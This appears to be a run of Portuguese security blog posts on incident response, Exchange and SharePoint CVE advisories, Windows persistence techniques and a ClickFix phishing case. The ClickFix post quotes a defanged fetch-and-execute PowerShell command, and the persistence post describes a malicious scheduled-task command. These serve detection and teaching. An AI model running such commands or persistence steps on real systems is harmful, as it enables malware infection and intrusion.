Recentemente, estava explorando o repositório GitHub de um framework que utilizo para desenvolvimento. Observando modificações recentes, me deparei com um commit que me deixou inicialmente muito confuso: uma chave privada, aparentemente utilizada para assinar o pacote de instalação do framework, havia sido adicionada aos arquivos do repositório.
Felizmente, após inspecionar a chave pública acompanhante, revelou-se que a chave foi credenciada para o domínio yourdomain.com. Comentando isso com um colega de trabalho, ele me instruiu que isso é, na verdade, algo relativamente comum: adicionar arquivos com uma chave de exemplo ao repositório para que a estrutura de arquivos fique completa. Adicionalmente, em alguns casos (como desenvolvimento de aplicações web), é possível utilizar esse certificado no ambiente de desenvolvimento local redirecionando o domínio de exemplo para o local host via alteração do arquivo hosts.
Digo que fiquei aliviado descobrindo que a adição da chave ao repositório foi, muito provavelmente, intencional e não impõe um risco de segurança ao projeto (é um dos meus frameworks favoritos). Reconheço que acidentes, especialmente quanto a adição de arquivos no Git que não deveriam ser adicionados, acontecem. Inúmeras vezes já ansiosamente executei git add .; git commit -m "..." no terminal, descobrindo somente depois que havia algum artefato de compilação, ou arquivo de cache (estou olhando para você, mypy), esquecido no diretório do projeto que agora havia sido imortalizado no repositório pela execução precoce do comando. Como diz o ditado, “once in git, always in git”.
Hoje em dia sou moderadamente mais cauteloso e ademais, grato pelas abençoadas almas que dispõem modelos de .gitignore na web. Porém, pessoalmente não julgo cautela como suficiente! Utilizo no meu desenvolvimento o pre-commit, uma ferramenta que realiza verificações automáticas antes de toda modificação de arquivos em um repositório Git. Incidentalmente, um dos pluginsdisponibilizados por padrão pela ferramenta possui um teste que previne o commit acidental de uma chave privada.
Trabalhando em uma resposta a um incidente onde o Domain Admin foi comprometido, comecei a fazer um levantamento do campo PwdLastSet no Active Directory Domain Services com o objetivo de identificar, logicamente, os usuários que realizaram trocas de senhas antes e/ou durante o incidente. Sendo assim, me surgiu uma dúvida:
O atributo PwdLastSet pode ser alterado?
Primeiro, vamos a definição:
“A data e a hora em que a senha dessa conta foi alterada pela última vez. Esse valor é armazenado como um inteiro grande que representa o número de intervalos de 100 nanossegundos desde 1º de janeiro de 1601 (UTC). Se esse valor for definido como 0 e o atributo User-Account-Control não contiver o sinalizador UF_DONT_EXPIRE_PASSWD, o usuário deverá definir a senha no próximo logon.“
Partimos para um laboratório onde subi um Active Directory Domain Services sobre um Windows Server 2022. Criei um usuário chamado lab.user com uma senha definida. O campo pwdLastSet adicionou as informações de data, hora e GMT configuradas no sistema operacional
Aí vem o teste. A primeira coisa que tentei foi adicionar um epoch time no usuárioporém sem sucesso em um script powershell.
Verificando a documentação entendi que é possível setar duas flags o 0 indicando que a senha nunca foi trocada e o -1 que utiliza do tempo atual.
O script e os resultados
OBS.: O script apresentado neste artigo é destinado exclusivamente para fins educativos e de aprendizado. Não nos responsabilizamos pelo uso indevido, aplicação em contextos não autorizados ou quaisquer consequências decorrentes da utilização deste código. Recomendamos que os leitores utilizem o script de forma ética e em conformidade com todas as leis e regulamentos aplicáveis.
Entendo que existem outros campos como WhenChanged que podem ser utilizados para investigação porém o que me trouxe até aqui foi quanto isso poderia ser confuso para quem está respondendo ao incidente de cibersegurança
Estamos cientes de uma vulnerabilidade de alta gravidade, a qual permite que um agente de ameaça cibernética com acesso administrativo a um servidor Microsoft Exchange local aumente privilégios explorando configurações híbridas vulneráveis. Essa vulnerabilidade, se não for corrigida, pode afetar a integridade da identidade do serviço Exchange Online de uma organização. Uma vez explorada, permite que um atacante com acesso administrativo a um servidor MS Exchange local consiga elevar seus privilégios para o ambiente em nuvem (Exchange Online), potencialmente comprometendo todo o domínio.
Ela foi catalogada como a vulnerabilidade CVE-2025-53786 com pontuação CVSS de 8.0 (Alta).
Impacto: Permite que um atacante com acesso administrativo local acesse o ambiente em nuvem sem deixar rastros facilmente detectáveis, explorando a confiança entre o Exchange local e o Exchange Online.
Causa principal: O uso de um service principal compartilhado para autenticação entre o servidor local e a nuvem em configurações híbridas, criando uma ligação que pode ser explorada.
OBSERVAÇÃO: Não há evidências de exploração ativa até o momento, 08 de agosto de 2025, mas a Microsoft classifica a vulnerabilidade como “Exploitation More Likely“ (Exploração Razoavelmente Provável) devido à sua gravidade. Independente de não haver relatos da exploração da vulnerabilidade em larga escala, nós recomendamos fortemente a aplicação de mitigação sugerida nesse documento.
A exploração é particularmente perigosa porque pode passar despercebida. O ataque não gera logs ou alertas evidentes, dificultando a detecção, já que usa funções legítimas do sistema.
RESUMO DA VULNERABILIDADE
O atacante já deve ter privilégios administrativos no servidor Exchange local, por exemplo, via uma senha fraca, outra vulnerabilidade, ação de phishing ou credenciais roubadas.
Como ocorre a exploração da vulnerabilidade:
O atacante acessa as keyCredentials do service principal, armazenadas na configuração do Exchange ou via PowerShell/Graph API.
Com essas chaves, ele gera um token S2S (server-to-server) válido para autenticação na nuvem.
Isso permite acesso a recursos como caixas de e-mail no Exchange Online, envio de e-mails em nome de outros usuários, alterações em configurações de segurança ou até pivô para outros serviços, como SharePoint Online.
Para entender o que é o service principal e o KeyCredentials e como esses se combinam para o ataque, consulte o apêndice desse alerta.
Quais os riscos associados:
Comprometimento de dados sensíveis (e-mails, configurações de segurança).
Movimento lateral para outros serviços na nuvem (como SharePoint).
Potencial para comprometimento total do domínio em ambientes híbridos.
A exploração é particularmente perigosa porque pode passar despercebida, mesmo com ferramentas de monitoramento como Conditional Access ou de autenticação MFA.
MITIGAÇÃO RECOMENDADA
1. Aplicar o hotfix de abril de 2025:
Instale a atualização de segurança em todos os servidores Exchange locais (2016, 2019 ou Subscription Edition) em modo híbrido.
Verifique se os servidores estão dentro do ciclo de suporte (ex.: Exchange 2019 CU14/CU15, Exchange 2016 CU23).
2. Fazer inventário e verificação:
Use o script HealthChecker.ps1 da Microsoft para identificar servidores afetados e gerar relatórios.
3. Migrar para um service principal dedicado:
Execute o Hybrid Configuration Wizard (HCW) atualizado para configurar uma nova entidade de serviço dedicada:
Redefina as keyCredentials do service principal compartilhado:
Connect-MgGraph -Scopes "Application.ReadWrite.All"
$sp = Get-MgServicePrincipal -Filter "displayName eq 'Exchange Hybrid Modern Auth Service Principal'"
Update-MgServicePrincipal -ServicePrincipalId $sp.Id -KeyCredentials @()
4. Adotar boas práticas
Minimize permissões administrativas.
Habilite e monitore logs detalhados.
Desconecte da internet servidores Exchange ou SharePoint em fim de vida (EOL).
Considere migrar para protocolos mais seguros, como Graph API, e reduzir o uso de Exchange Web Services (EWS).
INFORMAÇÕES ADICIONAIS
Descoberta: A vulnerabilidade foi reportada por Dirk-jan Mollema da Outsider Security e apresentada na conferência Black Hat no último dia 6 de agosto de 2025.
Diretiva da CISA: Agências federais dos EUA foram obrigadas a mitigar a falha até 11 de agosto de 2025, mas a recomendação se estende a todas as organizações com ambientes híbridos.
Contexto maior: Tal falha reforça a necessidade de revisar configurações legadas em ambientes híbridos e adotar modelos de zero trust para minimizar riscos.
A keyCredentials é como um “chaveiro” criptográfico, que funciona como uma carteira de identidade do service principal híbrido. Ela é usada para autenticar um servidor Exchange local na nuvem. Na vulnerabilidade CVE-2025-53786, um atacante com acesso administrativo local pode roubar esse chaveiro (keyCredentials) e usá-lo para fazer se passar pelo servidor, acessando o Exchange Online sem deixar rastros óbvios.
O que é um Service Principal?
Um service principal é uma identidade não-humana usada em sistemas da Microsoft (como o Azure Active Directory, agora Microsoft Entra ID) para autenticar aplicativos ou serviços, permitindo que eles interajam com outros recursos na nuvem, como o Exchange Online. No caso de ambientes híbridos do Exchange, o service principal é usado para facilitar a comunicação segura entre o Exchange Server local (on-premises) e o Exchange Online (nuvem).
Função no ambiente híbrido: O service principal híbrido atua como uma “ponte” de autenticação, permitindo que o servidor local execute ações na nuvem, como sincronizar dados, gerenciar caixas de e-mail ou autenticar usuários. Ele é configurado automaticamente pelo Hybrid Configuration Wizard(HCW) durante a criação do ambiente híbrido.
O que é a keyCredentials?
A keyCredentials é uma propriedade do service principal que armazena as chaves criptográficas (certificados ou chaves assimétricas) usadas para autenticar o service principal no Microsoft Entra ID. Essas chaves são essenciais para o processo de autenticação server-to-server (S2S), permitindo que o servidor local consiga provar sua identidade ao acessar recursos na nuvem.
Formato: A keyCredentials contém informações como:
Chave pública de um certificado.
Identificador da chave (keyId).
Tipo de chave (geralmente assimétrica, como RSA).
Datas de validade (início e fim).
Uso: Quando o servidor Exchange local precisa acessar o Exchange Online, ele usa a chave privada correspondente à keyCredentials para assinar um token de autenticação (JWT). Esse token é validado pela nuvem usando a chave pública armazenada na keyCredentials.
Comprometer um sistema não se trata apenas da quebra de uma credencial ou o upload de um malware em um endpoint, agentes de ameaça pensam muito além do acesso inicial, ele ou ela farão de tudo, a fim de alcançar seu objetivo final, podendo ser um vazamento de dados, roubo de propriedades intelectuais, ou em muitos casos uma infecção de ransomware.
Para que isso possa ocorrer, o atacante precisará permanecer vivo e operante no ambiente, uma vez que não é possível calcular quanto tempo ele levará para cumprir seu objetivo, portanto neste post eu gostaria de abordar algumas das técnicas de persistência mais comuns encontradas em ambientes que foram alvos de incidentes cibernéticos, observados em nosso dia a dia no SOC.
A grande realidade é que existem incontáveis técnicas utilizadas por agentes de ameaça para garantir persistência em um ambiente, muitas delas mapeadas pelo famoso framework “MITRE ATT&CK”. Primeiramente, gostaria de definir “O que é” uma técnica de persistência e por que ela é tão importante para um criminoso cibernético. Em seguida, exemplificarei algumas dessas técnicas me baseando em situações reais detectadas por nosso time de segurança.
Conforme a definição do MITRE ATT&CK “Persistência consiste em técnicas utilizadas por adversários para manter acesso a um sistema, indiferente a reinicializações, alterações de credenciais e/ou outras interrupções capazes de cortar seu acesso ao ambiente[…]” basicamente, essa tática ocorre somente após a invasão de um sistema, onde o descrito “adversário” planeja manter-se ativo na infraestrutura da vítima que pode ou não, estar ciente da ocorrência do incidente, essas técnicas são essenciais para a resiliência do atacante, que ainda não atingiu seu objetivo final.
Entendendo agora o “por que” de um agente de ameaça utilizar essas técnicas, agora devemos esclarecer “COMO” isso geralmente é feito… A grande realidade é que os Sistemas Operacionais atuais, facilitam muito o emprego de persistência, devido a diversos recursos nativos, criados em tese para auxiliar no funcionamento de softwares e processos legítimos, utilizados pelos usuários finais, mas quando configurados corretamente em favor do atacante, são ferramentas-chave para seu sucesso no ambiente.
Irei abordar algumas das técnicas mais comuns encontradas em incidentes cibernéticos reais voltados a ambientes “Microsoft Windows”, lembrando que para o “hacker” experiente, “o céu é o limite”, portanto não devemos nos apegar somente ao que será apresentado aqui, ou somente as técnicas já mapeadas pelo MITRE ATT&CK, mas sim compreender que, a medida que as tecnologias evoluem, inevitavelmente maneiras de se conquistar persistência, também irão seguir esse rumo.
Outro fato que devemos considerar é sobre a existência de inumeras táticas e técnicas utilizadas em ambientes “Unix” e também em outros Sistemas Operacionais, porém neste artigo abordarei somente o emprego das mesmas em sistemas “Windows”.
Startup Folder
Para iniciar, introduzirei uma técnica muito interessante e efetiva em ambientes sem monitoramento e análise comportamental. Por padrão, o sistema operacional Windows possui diretórios de startup que são críticos e comumente utilizados por agentes de ameaça que buscam persistência no ambiente, sendo eles:
Startup global (todos os usuários): C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
Startup de usuário especifico: C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
A inclusão de programas ou scripts como arquivos com extensões ps1, .bat, .cmd, entre outros… nestes diretórios do sistema irá resultar em sua execução automática sempre que um usuário se autenticar. Essa prática é frequentemente explorada por agentes maliciosos como uma forma eficaz de garantir persistência no ambiente comprometido. Ao configurar esses arquivos para serem executados em momentos estratégicos, como o logon do usuário, o invasor assegura que seu código continue ativo, mesmo após reinicializações ou tentativas de limpeza, mantendo o controle sobre o sistema de forma discreta e contínua.
Observamos a utilização desta técnica em um ataque recentemente presenciado pela nossa equipe, onde, após ganhar acesso ao endpoint, o agente de ameaça realizou o upload de um malware nomeado como “explorer.exe” no sistema e imediatamente adicionou um arquivo .lnk referenciando ao malware no diretório: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Tarefas agendadas
A criação e utilização de tarefas agendadas, poderia ser considerada a técnica de persistência mais conhecida e comumente utilizada em um ambiente comprometido, a técnica consiste na utilização do recurso de criação de tarefas agendadas nativo do Windows para realizar a execução periódica de arquivos ou scripts maliciosos, desta forma garantindo que, mesmo que o processo malicioso seja finalizado por um usuário do sistema, o mesmo volte a ser executado através da utilização deste recurso.
No mesmo incidente citado anteriormente, foi também possível presenciar a criação de uma tarefa agendada cujo a finalidade era executar um software malicioso a cada 1 minuto no ambiente, como mostrado na imagem abaixo:
Na imagem e linha de comando acima é possivel observar a utilização do processo nativo “schtasks.exe” para criar uma tarefa agendada com os seguintes parametros:
/create: Cria uma nova tarefa.
/f: Força a criação, sobrescrevendo qualquer tarefa existente com o mesmo nome.
/RL HIGHEST: Define o nível de privilégio como máximo (executa com privilégios de administrador).
/sc minute: Define a frequência da tarefa como a cada minuto.
/mo 1: Modificador da frequência — neste caso, a cada 1 minuto.
/tn "explorer": Nome da tarefa será "explorer".
/tr "C:\Users\Administrator\AppData\Roaming\explorer.exe": Caminho do arquivo malicioso nomeado como “explorer.exe”.
Por mais que os parâmetros definidos aparentam ser bem “barulhentos” ainda assim há dificuldade em sua detecção sem o auxílio de ferramentas que estejam configuradas corretamente para realizar a busca por esses comportamentos característicos.
Chaves de registro.
Chaves de registro são peças fundamentais no sistema operacional, por serem responsáveis por garantir o funcionamento de praticamente todos os processos, serviços e conexões existentes no sistema, incluindo também a inicialização dos programas, por esse motivo, alterações e criações de novas chaves de registro no Windows são técnicas extremamente comuns de serem utilizadas por agentes de ameaça para se manter vivo no ambiente, sendo bem semelhante com a primeira técnica discutida neste post, as seguintes chaves de registro geralmente tornam-se alvo de cibercriminosos que buscam adicionar a elas um “valor” que posteriormente irão realizar a execução de processos maliciosos.
As chaves de registro apresentadas acima são apenas um exemplo de muitas outras, que possuem capacidades semelhantes, portanto é sempre recomendado configurar ferramentas de detecção para monitorar qualquer alteração ou criação suspeita de chaves de registro que possam ter ocorrido no sistema.
Como podem ver, no incidente analisado por nossa equipe, também foram detectadas mudanças em chaves de registro, onde as alterações realizadas tinham como objetivo executar o conhecido malware nomeado como “explorer.exe” no sistema, utilizando as chaves citadas anteriormente.
Criação de usuários.
A criação de novos usuários em sistemas comprometidos é uma prática comum em incidentes de segurança. Essa técnica é frequentemente usada para garantir persistência no ambiente invadido. Quando um atacante cria contas adicionais no endpoint afetado, ele estabelece uma forma de retorno fácil ao sistema, mesmo que as credenciais originais sejam alteradas ou revogadas. Assim, caso o usuário legítimo tente mitigar o ataque trocando senhas ou removendo acessos, o invasor ainda pode retomar o controle utilizando os usuários previamente criados, dando continuidade às suas ações maliciosas.
Portanto, é sempre muito recomendado realizar a detecção e homologação de todos os usuários criados no ambiente, independentemente se são locais, de serviço ou do domínio, além de definir precisamente quem possuirá o nível de privilégio necessário para realizar criações de novos usuários no sistema.
Conclusão
Após analisar algumas das mais famosas técnicas de persistência utilizadas “world-wide”, entende-se que um Adversário bem preparado irá quase sempre, utilizar mais de uma técnica de persistencia em um ambiente comprometido, e que não existe grande complexidade em desenvolve-las e coloca-las em operação, portanto o analista de SOC treinado a buscar e reconhecer essas praticas, tende a estar sempre um passo a frente dos cibercriminosos.
Durante um estudo para um projeto interno, onde criamos ambientes propositalmente vulneráveis, obtivemos resultados interessantes ao analisar fatores relacionados a conexões externas.
Por mais de um mês, mantivemos a porta de RDP (3389) aberta exclusivamente para conexões originadas do Brasil. Mesmo com essa restrição geográfica, registramos diversas tentativas de exploração, força bruta de senhas e uso de ferramentas de escaneamento. No entanto, nenhum sistema foi comprometido.
Decidimos então testar o extremo: liberamos o acesso RDP 3389 para o mundo inteiro. O resultado? Em menos de 24 horas, tivemos um sistema comprometido.
Isso levanta uma questão: o Brasil sofre menos ataques? A resposta é não. Segundo o relatório da IBM, as empresas brasileiras estão entre as cinco mais atacadas do mundo.
O que temos observado é que muitas empresas mantêm sistemas expostos à internet sem as devidas proteções. Sites como o Shodan.io realizam varreduras globais em busca de serviços abertos, revelando a fragilidade de muitas infraestruturas.
Times de infraestrutura e segurança precisam implementar camadas de proteção: firewalls, IPS, regras de controle e restrições geográficas são medidas que podem salvar empresas em risco.
Por fim, deixo uma reflexão: você, que atua em infraestrutura, segurança ou áreas correlatas, já validou se suas aplicações expostas externamente possuem restrições de origem bem definidas? Se não, qual é a desculpa?
Como já é de conhecimento geral, o elo mais fraco em um ataque é a interferência humana, seja em caso de falhas (bugs), phishing ou engenharia social. Em um caso recente, o usuário tentou executar um arquivo malicioso e teve a ação bloqueada. Ao verificar o hash do arquivo suspeito (localizado em uma pasta temporária) no Virus Total, o arquivo foi identificado como Powershell. Em seguida, busquei por comandos que pudessem ter sido executados anteriormente para gerar esse arquivo na pasta temporária. Nem sempre é possível recuperar o histórico de comandos do Powershell, mas neste caso encontrei o seguinte registro no arquivo ConsoleHost_history.txt, localizado em AppData:
iwr walkin[.]college/trace.mp3 | iex # You're Human
Além disso, identifiquei também comandos altamente ofuscados executados pelo .NET . Nesse ponto, já era evidente que se tratava de um ataque de engenharia social relativamente novo: o ClearFake/ClickFix. Nesse tipo de ataque, o usuário acessa um site e é induzido a abrir o menu “Executar” do Windows, colar um código e pressionar Enter. Trata-se, basicamente, de uma variação de phishing com o uso de captcha para dar aparência de legitimidade.
Exemplo de como é realizado o ataque.
Apesar de relativamente recente, esse tipo de ataque já vem sendo amplamente utilizado por diversas famílias de malware.
Gráfico das infecções semanais em 2025.
O sucesso desse ataque se deve à sua simplicidade. O usuário é induzido a digitar, por conta própria, o código malicioso, facilitando o ponto de entrada na estação. A partir daí, o código é executado e inicia-se o download de arquivos maliciosos. Realizei uma busca na internet e encontrei o script utilizado, bem como a metodologia do ataque. Há indícios de que o malware pertença à família Lumma Stealer.
Algumas maneiras de detectar a atividade maliciosa:
Eventos de segurança – eventID 4668 (process creation): procurar instâncias do powershell.exe que tenha explorer.exe como processo pai e que apresente associação com o EventID 4663 (object access) envolvendo arquivos na pasta %LocalAppData%\Microsoft\Windows\WinX\
Padrões de uso de shell: identificar sessões elevadas de powershell com comunicações suspeitas ou criação de processos incomuns, como certutil.exe, mshta.exe ou rundll32.exe.
Algumas maneiras para dificultar o roubo de credenciais:
Habilitar autenticação multifator (MFA).
Adotar métodos de autenticação resistentes à phishing, como FIDO, passkey, e evitar métodos de autenticação SMS.
Utilizar AppLocker para restringir aplicações não autorizadas no ambiente.
Desabilitar powershell para usuários que não possuem privilégios administrativos.
Felizmente o ataque não chegou a esse ponto, pois foi barrado pelo XDR. No entanto, isso nos alerta para uma das estratégias mais básicas, treinar os usuários, que são os principais alvos dos atacantes. Não se espera que o usuário entenda códigos ou saiba reconhecer ataques, porém, com orientações básicas é possível evitar problemas significativamente mais graves.
Indicators of compromise: SHA256 – 45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d Domínio – walkin[.]college/trace.mp3
Mais informações do indicador: https://www.virustotal.com/gui/file/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d https://hybrid-analysis.com/sample/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d/6882e7fcd6da29a55105d6ab
A vulnerabilidade crítica CVE-2025-53770, apelidada de ToolShell, está sendo ativamente explorada por agentes maliciosos para comprometer servidores Microsoft SharePoint on-premises. A falha permite execução remota de código não autenticada, extração de chaves criptográficas sensíveis e implantação de ransomwares.
A exploração ocorre por meio de uma cadeia de ataques que combina as vulnerabilidades CVE-2025-49706 (bypass de autenticação via spoofing) e CVE-2025-49704 (deserialização insegura), possibilitando o controle total dos sistemas afetados.
A ameaça é classificada com CVSS 9.8 (Crítica) e já comprometeu dezenas de organizações públicas e privadas. Este artigo técnico detalha os vetores de ataque, os impactos operacionais, os indicadores de comprometimento (IoCs) e as ações recomendadas de mitigação com base em orientações oficiais da Microsoft.
Nota importante
• Se você utiliza Microsoft SharePoint na nuvem da Microsoft, como parte do pacote Microsoft 365, ESSA VULNERABILIDADE NÃO SE APLICA A VOCÊ. • Se você usa sua própria instalação Microsoft SharePoint on-premises, seja no seu datacenter físico ou em colocation privado, ESSE ALERTA SE APLICA A VOCÊ.
Introdução
A vulnerabilidade CVE-2025-53770, apelidada de ToolShell, é uma falha crítica de execução remota de código (RCE) que afeta servidores on-premises do Microsoft SharePoint. Ela é uma variante da vulnerabilidade anterior CVE-2025-49706 e está sendo ativamente explorada em ataques reais. A exploração ocorre por meio de uma cadeia de vulnerabilidades que combina:
CVE-2025-49706: Permite bypass de autenticação por meio de técnicas de spoofing de rede, proporcionando acesso não autenticado aos sistemas.
CVE-2025-49704: Explora uma deserialização insegura de objetos manipulados, permitindo execução remota de código e acesso autenticado subsequente.
Essa cadeia de exploração, publicamente conhecida como ToolShell, foi demonstrada na competição Pwn2Own Berlin em maio de 2025 e possibilita que atores maliciosos obtenham controle total sobre os servidores SharePoint afetados. Os impactos incluem:
Acesso irrestrito ao conteúdo: Arquivos, configurações internas e sistemas de arquivos armazenados no SharePoint.
Execução remota de código: Capacidade de executar comandos maliciosos na rede interna, incluindo a implantação de web shells (.aspx), executáveis (.exe) e bibliotecas dinâmicas (.dll).
Persistência de acesso: Extração de chaves criptográficas (ValidationKey e DecryptionKey), permitindo a criação de tokens de autenticação forjados, mesmo após a aplicação de patches.
Escalada de ataques: Recentemente, observou-se o uso de técnicas de criptografia de arquivos e a distribuição do ransomware Warlock, indicando um aumento no potencial destrutivo dos ataques.
A vulnerabilidade está relacionada a uma deserialização insegura de dados não confiáveis no endpoint /ToolPane.aspx, explorado por meio de solicitações HTTP POST com cabeçalhos Referer forjados (ex.: apontando para /_layouts/SignOut.aspx). A pontuação CVSS da CVE-2025-53770 é 9.8 (Crítica), refletindo sua gravidade devido à facilidade de exploração e ao impacto devastador.
A combinação de acesso não autenticado, execução de código e implantação de ransomware amplia o risco, podendo resultar em:
Violações de dados sensíveis.
Interrupções operacionais críticas.
Comprometimento de sistemas interconectados na rede.
Detalhes técnicos
A exploração da ToolShell ocorre em duas etapas principais:
Bypass de autenticação (CVE-2025-49706): Atacantes utilizam técnicas de spoofing para enviar solicitações HTTP POST maliciosas, manipulando cabeçalhos Referer e explorando falhas de validação no endpoint /ToolPane.aspx.
Execução remota de código (CVE-2025-49704): A deserialização insegura de objetos manipulados permite a execução de payloads maliciosos, resultando em RCE. Isso inclui a criação de web shells (ex.: spinstall0.aspx) e a extração de chaves criptográficas.
Os atacantes também evoluíram suas táticas, empregando:
Payloads variados: Além dos tradicionais web shells (.aspx) e executáveis (.exe), também foram detectadas bibliotecas dinâmicas (.dll), ampliando a superfície de ataque.
Ransomware Warlock: Técnicas de criptografia de arquivos e distribuição de ransomware foram detectadas, indicando uma escalada no impacto dos ataques.
Essas táticas demonstram a sofisticação dos operadores e reforçam a urgência na aplicação das medidas de mitigação descritas a seguir.
Mitigações recomendadas
A Microsoft lançou atualizações de segurança em 21 de julho de 2025 para as versões suportadas do SharePoint Server (2016, 2019 e Subscription Edition), abordando a CVE-2025-53770 e a CVE-2025-53771 (uma vulnerabilidade de spoofing relacionada, mas não explorada ativamente). As seguintes medidas são recomendadas:
Aplicar patches imediatamente: instale as atualizações de segurança mais recentes para SharePoint Server 2016, 2019 e Subscription Edition.
Habilitar o AMSI: O Antimalware Scan Interface, ativado por padrão em atualizações de setembro de 2023 (SharePoint Server 2016/2019) e na versão 23H2 (Subscription Edition), pode bloquear exploits não autenticados.
Implantar o Microsoft Defender Antivirus: Ative o Defender em todos os servidores SharePoint para detectar e mitigar atividades maliciosas.
Rotacionar chaves criptográficas: Antes e após aplicar patches, rotacione as chaves ValidationKeye DecryptionKey do ASP.NET e reinicie o servidor IIS.
Desconectar servidores expostos: Servidores SharePoint voltados para a internet, especialmente versões obsoletas (ex.: SharePoint Server 2013), devem ser desconectados até serem atualizados.
Monitorar logs: Verifique solicitações POST ao endpoint /_layouts/15/ToolPane.aspx e a criação de arquivos suspeitos, como spinstall0.aspx.
Restringir privilégios: Audite e minimize privilégios administrativos e de layout no SharePoint.
Bloquear IPs maliciosos: Monitore e bloqueie tráfego de IPs associados aos ataques, como 107.191.58.76, 104.238.159.149, 96.9.125.147 e 45.77.155.170.
A exploração da ToolShell é facilitada pela ausência de autenticação necessária e pela capacidade de extrair chaves criptográficas, garantindo acesso persistente. A introdução do ransomware Warlock eleva o risco, podendo causar perdas financeiras e operacionais significativas.
Conclusão
A vulnerabilidade CVE-2025-53770 (ToolShell), combinada com as falhas CVE-2025-49706 e CVE-2025-49704, representa uma ameaça crítica para servidores SharePoint on-premises. A aplicação imediata de patches, a habilitação do AMSI, a rotação de chaves criptográficas e o monitoramento contínuo são essenciais para mitigar os riscos. A escalada para ataques de ransomware, como o Warlock, reforça a necessidade de uma resposta rápida e coordenada. Para mais detalhes, consulte as orientações oficiais da Microsoft Microsoft:
Frequentemente analisamos um tipo de alerta preocupante : colaboradores dentro do ambiente corporativo compartilhando a internet móvel não autorizado com um dispositivo empresarial, criando com os seus dispositivos hotspots móveis e não autorizados pela organização. Embora possa parecer uma solução inofensiva ou um “atalho” para a conectividade, esse comportamento abre as portas para uma série de riscos graves que podem comprometer toda a segurança da sua organização.
Quando um hotspot móvel não autorizado é ativado, ele faz um bypass em diversas camadas de segurança da organização, é como se abríssemos uma “porta” não autorizada, favorecendo ameaças como ataques do tipo man-in-the-middle, risco para vazamento de dados ou outras ameaças, como um vírus, malware e até um Ransoware no ambiente.
Sobre os alertas analisados, notamos que durante a ação de compartilhar da conexão, criando um hotspot, o dispositivo conectado na rede recebe a faixa de IP 192.168.137.x, e por ser uma faixa de endereço privada e desconhecida dentro do ambiente , que a princípio gerou algumas dificuldades durante a analise, mas com o apoio da documentação da Microsoft e outros fatores presentes no log, verificamos que este endereço é um range padrão, atribuído pelo Windows e utilizado pelo serviço Compartilhamento de Conexão com a Internet (ICS).
Conforme definido no learn da Microsoft, o serviço de ICS seria o driver atras de Wi-Fi pessoal que, por padrão, o ICS configura o seu computador (o host do hotspot) com o endereço IP 192.168.137.1 eapós atribuir este IP, o serviço age como um servidor DHCP (Dynamic Host Configuration Protocol), atribuindo endereços IP aos dispositivos que se conectam ao hotspot, começando geralmente do 192.168.137.x.
Como mencionado acima, esta faixa de IP é de uma rede privada, designada para uso interno, o que significa que os endereços não são roteáveis diretamente na internet e utilizando a máscara padrão com o endereço 255.255.255.0, disponibilizando um range de 254 endereços IP para dispositivos conectados, tirando endereços de gateway e broadcast.
Esta faixa de endereço pode ser alterado nas configurações do sistema, mas até o momento deste texto, os alertas analisados continham a faixa “padrão”, com o endereço IP 192.168.137.x.
Por que esta faixa de IP específica?
A escolha da faixa 192.168.137.x foi uma convenção estabelecida pela Microsoft para o funcionamento do ICS, ela evita conflitos com outras redes já documentadas e utilizadas em ambientes domésticos ou corporativos (como as populares 192.168.0.x ou 192.168.1.x), garantindo que o seu hotspot possa operar sem problemas, independentemente da rede à qual seu computador principal está conectado.
Conexões rede origem e destino resolvendo DNS pelo 192.168.137.x
Este tipo de ação no ambiente corporativo se torna muito preocupante, onde no cenário atual de flexibilidade no trabalho, onde o home office e os inúmeros dispositivos moveis pessoais no ambiente , gera preocupações de controle para estes dispositivos que, por um lado, a sua utilização pode ser “desculpa” para aumentar a produtividade, mas por outro lado, o mesmo pode ser utilizado para tentar quebrar os controles de segurança de rede dentro das empresas, e com essa pratica, as vezes inocente por parte de quem está utilizando, compromete os controles de segurança da informação e eleva os riscos significativos para a infraestrutura da empresa.
Para mitigar e melhorar os controles para estes dispositivos, podemos adotar praticas que vão além do monitoramento, como a definição de políticas claras de PSI, implantando a sua conscientização, treinamento para os colaboradores e adoção de ferramentas de MDM (Gerenciamento de Dispositivos Móveis), onde com este recurso podemos aplicar políticas de segurança para os dispositivos moveis, monitorar e controlar o uso de dispositivos corporativos, incluindo a capacidade de criar hotspots.
Gostaria de trazer atenção para um recurso interessante, que descobri recentemente, para monitoramento de vulnerabilidades em software de código aberto (OSS, do inglês Open Source Software).
Open Source Vulnerabilities (OSV) é um banco de dados aberto que agrega informações sobre vulnerabilidades de mais de 15 fontes, fornecendo uma fonte de consulta centralizada sobre vulnerabilidades, suas severidades, software afetado e mitigações, dentre outras informações.
Graças aos esforços da empresa responsável, o formato OpenSSF para vulnerabilidades difundiu-se com sucesso. Este permite o relato de versões de software com a precisão necessária para serviços de automação (permitindo, por exemplo, a referência a um exato commit hash). Através deste, o OSV, utilizando métodos de bisseção automatizados e análise de versões, consegue enriquecer os registros de vulnerabilidades com as versões exatas dos softwares impactados.
O enriquecimento dos dados, graças às automações desenvolvidas, além de sua precisão devido ao formato bem projetado, auxiliam o trabalho de profissionais de segurança gerenciando e mitigando vulnerabilidades. Ambos reduzem significativamente o trabalho de identificação de versões afetadas, auxiliando-os a atuarem com mais rapidez e confiança.
A informação é entregue com agilidade, estando disponível usualmente no máximo 15 minutos após sua publicação nas fontes de dados base consultadas pelo serviço.
O serviço conta com uma página web e uma API para consulta dos dados, com um leque vasto de opções para consulta: vulnerabilidades individuais, pesquisa por software(s) afetado(s), e requisições em batch.
Estes recursos extremamente versáteis serão incorporados ao processo de desenvolvimento de software para nossos projetos internos na CYLO, para monitorar e mitigar vulnerabilidades em dependências externas dos mesmos.
Referências
OSV. Disponível em: <https://osv.dev/>.
Introduction to OSV. Disponível em: <https://google.github.io/osv.dev/>.
CÁNEPA, G. 10 Top Most Popular Linux Distributions of 2020. Disponível em: <https://www.tecmint.com/top-most-popular-linux-distributions/>.
Mobile Operating System Market Share Worldwide | StatCounter Global Stats. Disponível em: <http://gs.statcounter.com/os-market-share/mobile/worldwide>.
